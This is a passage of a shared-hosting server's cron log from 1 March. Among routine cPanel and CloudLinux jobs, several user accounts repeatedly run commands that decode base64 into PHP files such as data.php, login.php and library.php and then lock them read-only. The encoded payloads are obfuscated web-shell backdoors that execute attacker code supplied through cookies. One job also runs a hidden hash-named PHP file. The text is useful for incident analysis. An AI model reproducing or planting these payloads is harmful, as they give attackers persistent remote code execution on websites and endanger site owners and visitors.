Rfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:18:02 medusa CROND[13817]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:18:02 medusa CROND[13811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:18:02 medusa CROND[13818]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:18:02 medusa CROND[13819]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:18:02 medusa CROND[13825]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:18:02 medusa CROND[13826]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:19:01 medusa CROND[5610]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:19:01 medusa CROND[5611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:19:01 medusa CROND[5613]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:19:01 medusa CROND[5614]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:19:01 medusa CROND[5615]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:19:01 medusa CROND[5619]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:19:01 medusa CROND[5622]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:19:01 medusa CROND[5623]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:19:01 medusa CROND[5624]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:19:01 medusa CROND[5627]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:19:01 medusa CROND[5626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:19:01 medusa CROND[5631]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:20:01 medusa CROND[30733]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:20:01 medusa CROND[30762]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:20:02 medusa CROND[30862]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:20:02 medusa CROND[30884]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:20:02 medusa CROND[30885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:20:02 medusa CROND[30886]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:20:02 medusa CROND[30887]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:20:02 medusa CROND[30888]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 19:20:02 medusa CROND[30889]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:20:02 medusa CROND[30892]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:20:02 medusa CROND[30893]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30900]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 19:20:02 medusa CROND[30899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:20:02 medusa CROND[30905]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:20:02 medusa CROND[30907]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:20:02 medusa CROND[30908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30911]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:20:02 medusa CROND[30912]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:20:02 medusa CROND[30913]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 19:20:02 medusa CROND[30915]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 19:20:02 medusa CROND[30920]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30922]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRf